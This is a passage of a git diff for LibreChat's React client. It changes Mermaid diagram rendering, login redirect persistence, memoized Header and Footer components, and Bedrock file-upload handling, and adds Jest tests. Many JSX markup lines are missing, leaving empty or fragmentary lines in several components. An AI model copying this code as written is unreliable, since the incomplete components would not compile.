- path.style.strokeWidth = '1.5px';
- });
-
- const rectElements = svgElement.querySelectorAll('rect');
- rectElements.forEach((rect) => {
- const parent = rect.parentElement;
- if (parent && parent.classList.contains('node')) {
- rect.style.stroke = '#636D83';
- rect.style.strokeWidth = '1px';
- } else {
- rect.style.stroke = 'none';
- }
- });
- }
- setIsRendered(true);
- } catch (error) {
- console.error('Mermaid rendering error:', error);
+ const svgElement = mermaidRef.current.querySelector('svg');
+ if (svgElement) {
+ svgElement.style.width = '100%';
+ svgElement.style.height = '100%';
+ }
+ setIsRendered(true);
+ } catch (error) {
+ console.error('Mermaid rendering error:', error);
+ if (mermaidRef.current) {
mermaidRef.current.innerHTML = 'Error rendering diagram';
}
}
};
renderDiagram();
- }, [content]);
+ }, [content, theme]);
- const centerAndFitDiagram = () => {
+ const centerAndFitDiagram = useCallback(() => {
if (transformRef.current && mermaidRef.current) {
const { centerView, zoomToElement } = transformRef.current;
zoomToElement(mermaidRef.current as HTMLElement);
centerView(1, 0);
}
- };
+ }, []);
useEffect(() => {
if (isRendered) {
centerAndFitDiagram();
}
- }, [isRendered]);
+ }, [isRendered, centerAndFitDiagram]);
- const handlePanning = () => {
- if (transformRef.current) {
- const { state, instance } = (transformRef.current as ReactZoomPanPinchRef | undefined) ?? {};
- if (!state || !instance) {
- return;
- }
- const { scale, positionX, positionY } = state;
- const { wrapperComponent, contentComponent } = instance;
-
- if (wrapperComponent && contentComponent) {
- const wrapperRect = wrapperComponent.getBoundingClientRect();
- const contentRect = contentComponent.getBoundingClientRect();
- const maxX = wrapperRect.width - contentRect.width * scale;
- const maxY = wrapperRect.height - contentRect.height * scale;
-
- let newX = positionX;
- let newY = positionY;
-
- if (newX > 0) {
- newX = 0;
- }
- if (newY > 0) {
- newY = 0;
- }
- if (newX < maxX) {
- newX = maxX;
- }
- if (newY < maxY) {
- newY = maxY;
- }
-
- if (newX !== positionX || newY !== positionY) {
- instance.setTransformState(scale, newX, newY);
- }
- }
+ const handlePanning = useCallback(() => {
+ if (!transformRef.current) {
+ return;
}
- };
+
+ const { state, instance } = transformRef.current;
+ if (!state || !instance) {
+ return;
+ }
+ const { scale, positionX, positionY } = state;
+ const { wrapperComponent, contentComponent } = instance;
+
+ if (!wrapperComponent || !contentComponent) {
+ return;
+ }
+
+ const wrapperRect = wrapperComponent.getBoundingClientRect();
+ const contentRect = contentComponent.getBoundingClientRect();
+ const maxX = wrapperRect.width - contentRect.width * scale;
+ const maxY = wrapperRect.height - contentRect.height * scale;
+
+ let newX = positionX;
+ let newY = positionY;
+
+ if (newX > 0) {
+ newX = 0;
+ }
+ if (newY > 0) {
+ newY = 0;
+ }
+ if (newX < maxX) {
+ newX = maxX;
+ }
+ if (newY < maxY) {
+ newY = maxY;
+ }
+
+ if (newX !== positionX || newY !== positionY) {
+ instance.setTransformState(scale, newX, newY);
+ }
+ }, []);
return (
-
+
= ({ content }) => {
-
+
>
diff --git a/client/src/components/Auth/Login.tsx b/client/src/components/Auth/Login.tsx
index 48a506879f..7c3adf51bd 100644
--- a/client/src/components/Auth/Login.tsx
+++ b/client/src/components/Auth/Login.tsx
@@ -1,15 +1,19 @@
import { useEffect, useState } from 'react';
import { ErrorTypes, registerPage } from 'librechat-data-provider';
import { OpenIDIcon, useToastContext } from '@librechat/client';
-import { useOutletContext, useSearchParams } from 'react-router-dom';
+import { useOutletContext, useSearchParams, useLocation } from 'react-router-dom';
import type { TLoginLayoutContext } from '~/common';
+import { getLoginError, persistRedirectToSession } from '~/utils';
import { ErrorMessage } from '~/components/Auth/ErrorMessage';
import SocialButton from '~/components/Auth/SocialButton';
import { useAuthContext } from '~/hooks/AuthContext';
-import { getLoginError } from '~/utils';
import { useLocalize } from '~/hooks';
import LoginForm from './LoginForm';
+interface LoginLocationState {
+ redirect_to?: string;
+}
+
function Login() {
const localize = useLocalize();
const { showToast } = useToastContext();
@@ -17,13 +21,22 @@ function Login() {
const { startupConfig } = useOutletContext
();
const [searchParams, setSearchParams] = useSearchParams();
- // Determine if auto-redirect should be disabled based on the URL parameter
+ const location = useLocation();
const disableAutoRedirect = searchParams.get('redirect') === 'false';
- // Persist the disable flag locally so that once detected, auto-redirect stays disabled.
const [isAutoRedirectDisabled, setIsAutoRedirectDisabled] = useState(disableAutoRedirect);
useEffect(() => {
+ const redirectTo = searchParams.get('redirect_to');
+ if (redirectTo) {
+ persistRedirectToSession(redirectTo);
+ } else {
+ const state = location.state as LoginLocationState | null;
+ if (state?.redirect_to) {
+ persistRedirectToSession(state.redirect_to);
+ }
+ }
+
const oauthError = searchParams?.get('error');
if (oauthError && oauthError === ErrorTypes.AUTH_FAILED) {
showToast({
@@ -34,9 +47,8 @@ function Login() {
newParams.delete('error');
setSearchParams(newParams, { replace: true });
}
- }, [searchParams, setSearchParams, showToast, localize]);
+ }, [searchParams, setSearchParams, showToast, localize, location.state]);
- // Once the disable flag is detected, update local state and remove the parameter from the URL.
useEffect(() => {
if (disableAutoRedirect) {
setIsAutoRedirectDisabled(true);
@@ -46,7 +58,6 @@ function Login() {
}
}, [disableAutoRedirect, searchParams, setSearchParams]);
- // Determine whether we should auto-redirect to OpenID.
const shouldAutoRedirect =
startupConfig?.openidLoginEnabled &&
startupConfig?.openidAutoRedirect &&
@@ -60,7 +71,6 @@ function Login() {
}
}, [shouldAutoRedirect, startupConfig]);
- // Render fallback UI if auto-redirect is active.
if (shouldAutoRedirect) {
return (
diff --git a/client/src/components/Chat/AddMultiConvo.tsx b/client/src/components/Chat/AddMultiConvo.tsx
index 7cabe0f336..48e9919092 100644
--- a/client/src/components/Chat/AddMultiConvo.tsx
+++ b/client/src/components/Chat/AddMultiConvo.tsx
@@ -1,17 +1,21 @@
+import { useCallback } from 'react';
+import { useSetRecoilState, useRecoilValue } from 'recoil';
import { PlusCircle } from 'lucide-react';
import { TooltipAnchor } from '@librechat/client';
import { isAssistantsEndpoint } from 'librechat-data-provider';
import type { TConversation } from 'librechat-data-provider';
-import { useChatContext, useAddedChatContext } from '~/Providers';
+import { useGetConversation, useLocalize } from '~/hooks';
import { mainTextareaId } from '~/common';
-import { useLocalize } from '~/hooks';
+import store from '~/store';
function AddMultiConvo() {
- const { conversation } = useChatContext();
- const { setConversation: setAddedConvo } = useAddedChatContext();
const localize = useLocalize();
+ const getConversation = useGetConversation(0);
+ const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
+ const setAddedConvo = useSetRecoilState(store.conversationByIndex(1));
- const clickHandler = () => {
+ const clickHandler = useCallback(() => {
+ const conversation = getConversation();
const { title: _t, ...convo } = conversation ?? ({} as TConversation);
setAddedConvo({
...convo,
@@ -22,13 +26,13 @@ function AddMultiConvo() {
if (textarea) {
textarea.focus();
}
- };
+ }, [getConversation, setAddedConvo]);
- if (!conversation) {
+ if (!endpoint) {
return null;
}
- if (isAssistantsEndpoint(conversation.endpoint)) {
+ if (isAssistantsEndpoint(endpoint)) {
return null;
}
diff --git a/client/src/components/Chat/Footer.tsx b/client/src/components/Chat/Footer.tsx
index 75dd853c4f..541647a8d0 100644
--- a/client/src/components/Chat/Footer.tsx
+++ b/client/src/components/Chat/Footer.tsx
@@ -1,11 +1,11 @@
-import React, { useEffect } from 'react';
-import ReactMarkdown from 'react-markdown';
+import React, { useEffect, memo } from 'react';
import TagManager from 'react-gtm-module';
+import ReactMarkdown from 'react-markdown';
import { Constants } from 'librechat-data-provider';
import { useGetStartupConfig } from '~/data-provider';
import { useLocalize } from '~/hooks';
-export default function Footer({ className }: { className?: string }) {
+function Footer({ className }: { className?: string }) {
const { data: config } = useGetStartupConfig();
const localize = useLocalize();
@@ -98,3 +98,8 @@ export default function Footer({ className }: { className?: string }) {
);
}
+
+const MemoizedFooter = memo(Footer);
+MemoizedFooter.displayName = 'Footer';
+
+export default MemoizedFooter;
diff --git a/client/src/components/Chat/Header.tsx b/client/src/components/Chat/Header.tsx
index 40e2c6b7ad..9e44e804c9 100644
--- a/client/src/components/Chat/Header.tsx
+++ b/client/src/components/Chat/Header.tsx
@@ -1,4 +1,4 @@
-import { useMemo } from 'react';
+import { memo, useMemo } from 'react';
import { useMediaQuery } from '@librechat/client';
import { useOutletContext } from 'react-router-dom';
import { AnimatePresence, motion } from 'framer-motion';
@@ -16,7 +16,7 @@ import { cn } from '~/utils';
const defaultInterface = getConfigDefaults().interface;
-export default function Header() {
+function Header() {
const { data: startupConfig } = useGetStartupConfig();
const { navVisible, setNavVisible } = useOutletContext();
@@ -35,6 +35,11 @@ export default function Header() {
permission: Permissions.USE,
});
+ const hasAccessToTemporaryChat = useHasAccess({
+ permissionType: PermissionTypes.TEMPORARY_CHAT,
+ permission: Permissions.USE,
+ });
+
const isSmallScreen = useMediaQuery('(max-width: 768px)');
return (
@@ -73,7 +78,7 @@ export default function Header() {
-
+ {hasAccessToTemporaryChat === true && }
>
)}
@@ -85,7 +90,7 @@ export default function Header() {
-
+ {hasAccessToTemporaryChat === true && }
)}
@@ -94,3 +99,8 @@ export default function Header() {
);
}
+
+const MemoizedHeader = memo(Header);
+MemoizedHeader.displayName = 'Header';
+
+export default MemoizedHeader;
diff --git a/client/src/components/Chat/Input/BadgeRow.tsx b/client/src/components/Chat/Input/BadgeRow.tsx
index 5036dcd5e4..6fea6b0d58 100644
--- a/client/src/components/Chat/Input/BadgeRow.tsx
+++ b/client/src/components/Chat/Input/BadgeRow.tsx
@@ -28,6 +28,7 @@ interface BadgeRowProps {
onChange: (badges: Pick[]) => void;
onToggle?: (badgeId: string, currentActive: boolean) => void;
conversationId?: string | null;
+ specName?: string | null;
isSubmitting?: boolean;
isInChat: boolean;
}
@@ -142,6 +143,7 @@ const dragReducer = (state: DragState, action: DragAction): DragState => {
function BadgeRow({
showEphemeralBadges,
conversationId,
+ specName,
isSubmitting,
onChange,
onToggle,
@@ -320,7 +322,11 @@ function BadgeRow({
}, [dragState.draggedBadge, handleMouseMove, handleMouseUp]);
return (
-
+
{showEphemeralBadges === true &&
}
{tempBadges.map((badge, index) => (
diff --git a/client/src/components/Chat/Input/ChatForm.tsx b/client/src/components/Chat/Input/ChatForm.tsx
index f8f0fbb40b..fed355dcb3 100644
--- a/client/src/components/Chat/Input/ChatForm.tsx
+++ b/client/src/components/Chat/Input/ChatForm.tsx
@@ -194,7 +194,7 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
const baseClasses = useMemo(
() =>
cn(
- 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/50 bg-transparent dark:placeholder-white/50 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
+ 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/60 bg-transparent dark:placeholder-white/60 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
isCollapsed ? 'max-h-[52px]' : 'max-h-[45vh] md:max-h-[55vh]',
isMoreThanThreeRows ? 'pl-5' : 'px-5',
),
@@ -219,7 +219,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
{showPlusPopover && !isAssistantsEndpoint(endpoint) && (
{
)}
{showMentionPopover && (
{
}
isSubmitting={isSubmitting}
conversationId={conversationId}
+ specName={conversation?.spec}
onChange={setBadges}
isInChat={
Array.isArray(conversation?.messages) && conversation.messages.length >= 1
diff --git a/client/src/components/Chat/Input/Files/AttachFileChat.tsx b/client/src/components/Chat/Input/Files/AttachFileChat.tsx
index 37b3584d3e..00a0b7aaa8 100644
--- a/client/src/components/Chat/Input/Files/AttachFileChat.tsx
+++ b/client/src/components/Chat/Input/Files/AttachFileChat.tsx
@@ -2,10 +2,9 @@ import { memo, useMemo } from 'react';
import {
Constants,
supportsFiles,
- EModelEndpoint,
mergeFileConfig,
isAgentsEndpoint,
- getEndpointField,
+ resolveEndpointType,
isAssistantsEndpoint,
getEndpointFileConfig,
} from 'librechat-data-provider';
@@ -55,21 +54,31 @@ function AttachFileChat({
const { data: endpointsConfig } = useGetEndpointsQuery();
- const endpointType = useMemo(() => {
- return (
- getEndpointField(endpointsConfig, endpoint, 'type') ||
- (endpoint as EModelEndpoint | undefined)
- );
- }, [endpoint, endpointsConfig]);
+ const agentProvider = useMemo(() => {
+ if (!isAgents || !conversation?.agent_id) {
+ return undefined;
+ }
+ const agent = agentData || agentsMap?.[conversation.agent_id];
+ return agent?.provider;
+ }, [isAgents, conversation?.agent_id, agentData, agentsMap]);
+ const endpointType = useMemo(
+ () => resolveEndpointType(endpointsConfig, endpoint, agentProvider),
+ [endpointsConfig, endpoint, agentProvider],
+ );
+
+ const fileConfigEndpoint = useMemo(
+ () => (isAgents && agentProvider ? agentProvider : endpoint),
+ [isAgents, agentProvider, endpoint],
+ );
const endpointFileConfig = useMemo(
() =>
getEndpointFileConfig({
- endpoint,
fileConfig,
endpointType,
+ endpoint: fileConfigEndpoint,
}),
- [endpoint, fileConfig, endpointType],
+ [fileConfigEndpoint, fileConfig, endpointType],
);
const endpointSupportsFiles: boolean = useMemo(
() => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,
diff --git a/client/src/components/Chat/Input/Files/AttachFileMenu.tsx b/client/src/components/Chat/Input/Files/AttachFileMenu.tsx
index 218328b086..62072e49e5 100644
--- a/client/src/components/Chat/Input/Files/AttachFileMenu.tsx
+++ b/client/src/components/Chat/Input/Files/AttachFileMenu.tsx
@@ -8,13 +8,6 @@ import {
FileImageIcon,
TerminalSquareIcon,
} from 'lucide-react';
-import {
- Providers,
- EToolResources,
- EModelEndpoint,
- defaultAgentCapabilities,
- isDocumentSupportedProvider,
-} from 'librechat-data-provider';
import {
FileUpload,
TooltipAnchor,
@@ -22,6 +15,14 @@ import {
AttachmentIcon,
SharePointIcon,
} from '@librechat/client';
+import {
+ Providers,
+ EToolResources,
+ EModelEndpoint,
+ defaultAgentCapabilities,
+ bedrockDocumentExtensions,
+ isDocumentSupportedProvider,
+} from 'librechat-data-provider';
import type { EndpointFileConfig } from 'librechat-data-provider';
import {
useAgentToolPermissions,
@@ -37,14 +38,19 @@ import { ephemeralAgentByConvoId } from '~/store';
import { MenuItemProps } from '~/common';
import { cn } from '~/utils';
-type FileUploadType = 'image' | 'document' | 'image_document' | 'image_document_video_audio';
+type FileUploadType =
+ | 'image'
+ | 'document'
+ | 'image_document'
+ | 'image_document_extended'
+ | 'image_document_video_audio';
interface AttachFileMenuProps {
agentId?: string | null;
endpoint?: string | null;
disabled?: boolean | null;
conversationId: string;
- endpointType?: EModelEndpoint;
+ endpointType?: EModelEndpoint | string;
endpointFileConfig?: EndpointFileConfig;
useResponsesApi?: boolean;
}
@@ -99,6 +105,8 @@ const AttachFileMenu = ({
inputRef.current.accept = '.pdf,application/pdf';
} else if (fileType === 'image_document') {
inputRef.current.accept = 'image/*,.heif,.heic,.pdf,application/pdf';
+ } else if (fileType === 'image_document_extended') {
+ inputRef.current.accept = `image/*,.heif,.heic,${bedrockDocumentExtensions}`;
} else if (fileType === 'image_document_video_audio') {
inputRef.current.accept = 'image/*,.heif,.heic,.pdf,application/pdf,video/*,audio/*';
} else {
@@ -134,6 +142,11 @@ const AttachFileMenu = ({
let fileType: Exclude = 'image_document';
if (currentProvider === Providers.GOOGLE || currentProvider === Providers.OPENROUTER) {
fileType = 'image_document_video_audio';
+ } else if (
+ currentProvider === Providers.BEDROCK ||
+ endpointType === EModelEndpoint.bedrock
+ ) {
+ fileType = 'image_document_extended';
}
onAction(fileType);
},
diff --git a/client/src/components/Chat/Input/Files/DragDropModal.tsx b/client/src/components/Chat/Input/Files/DragDropModal.tsx
index a59a7e3e9d..cb5109c866 100644
--- a/client/src/components/Chat/Input/Files/DragDropModal.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropModal.tsx
@@ -1,14 +1,6 @@
import React, { useMemo } from 'react';
import { useRecoilValue } from 'recoil';
import { OGDialog, OGDialogTemplate } from '@librechat/client';
-import {
- Providers,
- inferMimeType,
- EToolResources,
- EModelEndpoint,
- defaultAgentCapabilities,
- isDocumentSupportedProvider,
-} from 'librechat-data-provider';
import {
ImageUpIcon,
FileSearch,
@@ -16,6 +8,15 @@ import {
FileImageIcon,
TerminalSquareIcon,
} from 'lucide-react';
+import {
+ Providers,
+ inferMimeType,
+ EToolResources,
+ EModelEndpoint,
+ isBedrockDocumentType,
+ defaultAgentCapabilities,
+ isDocumentSupportedProvider,
+} from 'librechat-data-provider';
import {
useAgentToolPermissions,
useAgentCapabilities,
@@ -77,20 +78,26 @@ const DragDropModal = ({ onOptionSelect, setShowModal, files, isVisible }: DragD
) {
const supportsImageDocVideoAudio =
currentProvider === EModelEndpoint.google || currentProvider === Providers.OPENROUTER;
- const validFileTypes = supportsImageDocVideoAudio
- ? files.every((file) => {
- const type = getFileType(file);
- return (
- type?.startsWith('image/') ||
- type?.startsWith('video/') ||
- type?.startsWith('audio/') ||
- type === 'application/pdf'
- );
- })
- : files.every((file) => {
- const type = getFileType(file);
- return type?.startsWith('image/') || type === 'application/pdf';
- });
+ const isBedrock =
+ currentProvider === Providers.BEDROCK || endpointType === EModelEndpoint.bedrock;
+
+ const isValidProviderFile = (file: File): boolean => {
+ const type = getFileType(file);
+ if (supportsImageDocVideoAudio) {
+ return (
+ type?.startsWith('image/') ||
+ type?.startsWith('video/') ||
+ type?.startsWith('audio/') ||
+ type === 'application/pdf'
+ );
+ }
+ if (isBedrock) {
+ return type?.startsWith('image/') || isBedrockDocumentType(type);
+ }
+ return type?.startsWith('image/') || type === 'application/pdf';
+ };
+
+ const validFileTypes = files.every(isValidProviderFile);
_options.push({
label: localize('com_ui_upload_provider'),
diff --git a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
index f5f45e2b88..43700206c3 100644
--- a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
@@ -36,7 +36,7 @@ const DragDropOverlay = memo(({ isActive }: DragDropOverlayProps) => {
}}
>
{/** Content area with subtle background */}
-
+
| undefined;
abortUpload?: () => void;
setFiles: React.Dispatch>>;
- setFilesLoading: React.Dispatch>;
+ setFilesLoading?: React.Dispatch>;
fileFilter?: (file: ExtendedFile) => boolean;
assistant_id?: string;
agent_id?: string;
@@ -58,6 +58,7 @@ export default function FileRow({
const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
useEffect(() => {
+ if (!setFilesLoading) return;
if (files.length === 0) {
setFilesLoading(false);
return;
@@ -111,13 +112,15 @@ export default function FileRow({
)
.uniqueFiles.map((file: ExtendedFile, index: number) => {
const handleDelete = () => {
- showToast({
- message: localize('com_ui_deleting_file'),
- status: 'info',
- });
if (abortUpload && file.progress < 1) {
abortUpload();
}
+ if (file.progress >= 1) {
+ showToast({
+ message: localize('com_ui_deleting_file'),
+ status: 'info',
+ });
+ }
deleteFile({ file, setFiles });
};
const isImage = file.type?.startsWith('image') ?? false;
@@ -133,7 +136,7 @@ export default function FileRow({
>
{isImage ? (
{
e.preventDefault();
closeButtonRef.current?.focus();
diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx
new file mode 100644
index 0000000000..d12c25c4a3
--- /dev/null
+++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileChat.spec.tsx
@@ -0,0 +1,176 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { RecoilRoot } from 'recoil';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
+import AttachFileChat from '../AttachFileChat';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ [EModelEndpoint.assistants]: { userProvide: false, order: 2 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+const mockFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { fileLimit: 5 },
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+});
+
+let mockAgentsMap: Record> = {};
+let mockAgentQueryData: Partial | undefined;
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+ useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
+}));
+
+jest.mock('~/Providers', () => ({
+ useAgentsMapContext: () => mockAgentsMap,
+}));
+
+/** Capture the props passed to AttachFileMenu */
+let mockAttachFileMenuProps: Record = {};
+jest.mock('../AttachFileMenu', () => {
+ return function MockAttachFileMenu(props: Record) {
+ mockAttachFileMenuProps = props;
+ return
;
+ };
+});
+
+jest.mock('../AttachFile', () => {
+ return function MockAttachFile() {
+ return
;
+ };
+});
+
+const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+
+function renderComponent(conversation: Record | null, disableInputs = false) {
+ return render(
+
+
+
+
+ ,
+ );
+}
+
+describe('AttachFileChat', () => {
+ beforeEach(() => {
+ mockAgentsMap = {};
+ mockAgentQueryData = undefined;
+ mockAttachFileMenuProps = {};
+ });
+
+ describe('rendering decisions', () => {
+ it('renders AttachFileMenu for agents endpoint', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+ });
+
+ it('renders AttachFileMenu for custom endpoint with file support', () => {
+ renderComponent({ endpoint: 'Moonshot' });
+ expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+ });
+
+ it('renders null for null conversation', () => {
+ const { container } = renderComponent(null);
+ expect(container.innerHTML).toBe('');
+ });
+ });
+
+ describe('endpointType resolution for agents', () => {
+ it('passes custom endpointType when agent provider is a custom endpoint', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('passes openAI endpointType when agent provider is openAI', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
+ });
+
+ it('passes agents endpointType when no agent provider', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
+ });
+
+ it('passes agents endpointType when no agent_id', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
+ });
+
+ it('uses agentData query when agent not in agentsMap', () => {
+ mockAgentQueryData = { provider: 'Moonshot' } as Partial;
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+ });
+ });
+
+ describe('endpointType resolution for non-agents', () => {
+ it('passes custom endpointType for a custom endpoint', () => {
+ renderComponent({ endpoint: 'Moonshot' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('passes openAI endpointType for openAI endpoint', () => {
+ renderComponent({ endpoint: EModelEndpoint.openAI });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
+ });
+ });
+
+ describe('consistency: same endpoint type for direct vs agent usage', () => {
+ it('resolves Moonshot the same way whether used directly or through an agent', () => {
+ renderComponent({ endpoint: 'Moonshot' });
+ const directType = mockAttachFileMenuProps.endpointType;
+
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ const agentType = mockAttachFileMenuProps.endpointType;
+
+ expect(directType).toBe(agentType);
+ });
+ });
+
+ describe('endpointFileConfig resolution', () => {
+ it('passes Moonshot-specific file config for agent with Moonshot provider', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+ expect(config?.fileLimit).toBe(5);
+ });
+
+ it('passes agents file config when agent has no specific provider config', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+ expect(config?.fileLimit).toBe(10);
+ });
+
+ it('passes agents file config when no agent provider', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents });
+ const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
+ expect(config?.fileLimit).toBe(20);
+ });
+ });
+});
diff --git a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
index d3f0fb65bc..cf08721207 100644
--- a/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
+++ b/client/src/components/Chat/Input/Files/__tests__/AttachFileMenu.spec.tsx
@@ -1,12 +1,10 @@
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
-import '@testing-library/jest-dom';
import { RecoilRoot } from 'recoil';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
-import { EModelEndpoint } from 'librechat-data-provider';
+import { EModelEndpoint, Providers } from 'librechat-data-provider';
import AttachFileMenu from '../AttachFileMenu';
-// Mock all the hooks
jest.mock('~/hooks', () => ({
useAgentToolPermissions: jest.fn(),
useAgentCapabilities: jest.fn(),
@@ -25,53 +23,45 @@ jest.mock('~/data-provider', () => ({
}));
jest.mock('~/components/SharePoint', () => ({
- SharePointPickerDialog: jest.fn(() => null),
+ SharePointPickerDialog: () => null,
}));
jest.mock('@librechat/client', () => {
- const React = jest.requireActual('react');
+ // eslint-disable-next-line @typescript-eslint/no-require-imports
+ const R = require('react');
return {
- FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => (
-
-
- {children}
-
- )),
- TooltipAnchor: ({ render }: any) => render,
- DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => {
- const handleTriggerClick = () => {
- if (setIsOpen) {
- setIsOpen(!isOpen);
- }
- };
-
- return (
-
-
{trigger}
- {isOpen && (
-
- {items.map((item: any, idx: number) => (
-
- {item.label}
-
- ))}
-
- )}
-
- );
- },
- AttachmentIcon: () => 📎 ,
- SharePointIcon: () => SP ,
+ FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children),
+ TooltipAnchor: (props) => props.render,
+ DropdownPopup: (props) =>
+ R.createElement(
+ 'div',
+ null,
+ R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger),
+ props.isOpen &&
+ R.createElement(
+ 'div',
+ { 'data-testid': 'dropdown-menu' },
+ props.items.map((item, idx) =>
+ R.createElement(
+ 'button',
+ { key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` },
+ item.label,
+ ),
+ ),
+ ),
+ ),
+ AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }),
+ SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }),
};
});
-jest.mock('@ariakit/react', () => ({
- MenuButton: ({ children, onClick, disabled, ...props }: any) => (
-
- {children}
-
- ),
-}));
+jest.mock('@ariakit/react', () => {
+ // eslint-disable-next-line @typescript-eslint/no-require-imports
+ const R = require('react');
+ return {
+ MenuButton: (props) => R.createElement('button', props, props.children),
+ };
+});
const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
@@ -83,558 +73,283 @@ const mockUseSharePointFileHandling = jest.requireMock(
).default;
const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
-describe('AttachFileMenu', () => {
- const queryClient = new QueryClient({
- defaultOptions: {
- queries: { retry: false },
- },
- });
+const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
- const mockHandleFileChange = jest.fn();
-
- beforeEach(() => {
- jest.clearAllMocks();
-
- // Default mock implementations
- mockUseLocalize.mockReturnValue((key: string) => {
- const translations: Record = {
- com_ui_upload_provider: 'Upload to Provider',
- com_ui_upload_image_input: 'Upload Image',
- com_ui_upload_ocr_text: 'Upload OCR Text',
- com_ui_upload_file_search: 'Upload for File Search',
- com_ui_upload_code_files: 'Upload Code Files',
- com_sidepanel_attach_files: 'Attach Files',
- com_files_upload_sharepoint: 'Upload from SharePoint',
- };
- return translations[key] || key;
- });
-
- mockUseAgentCapabilities.mockReturnValue({
- contextEnabled: false,
- fileSearchEnabled: false,
- codeEnabled: false,
- });
-
- mockUseGetAgentsConfig.mockReturnValue({
- agentsConfig: {
- capabilities: {
- contextEnabled: false,
- fileSearchEnabled: false,
- codeEnabled: false,
- },
- },
- });
-
- mockUseFileHandling.mockReturnValue({
- handleFileChange: mockHandleFileChange,
- });
-
- mockUseSharePointFileHandling.mockReturnValue({
- handleSharePointFiles: jest.fn(),
- isProcessing: false,
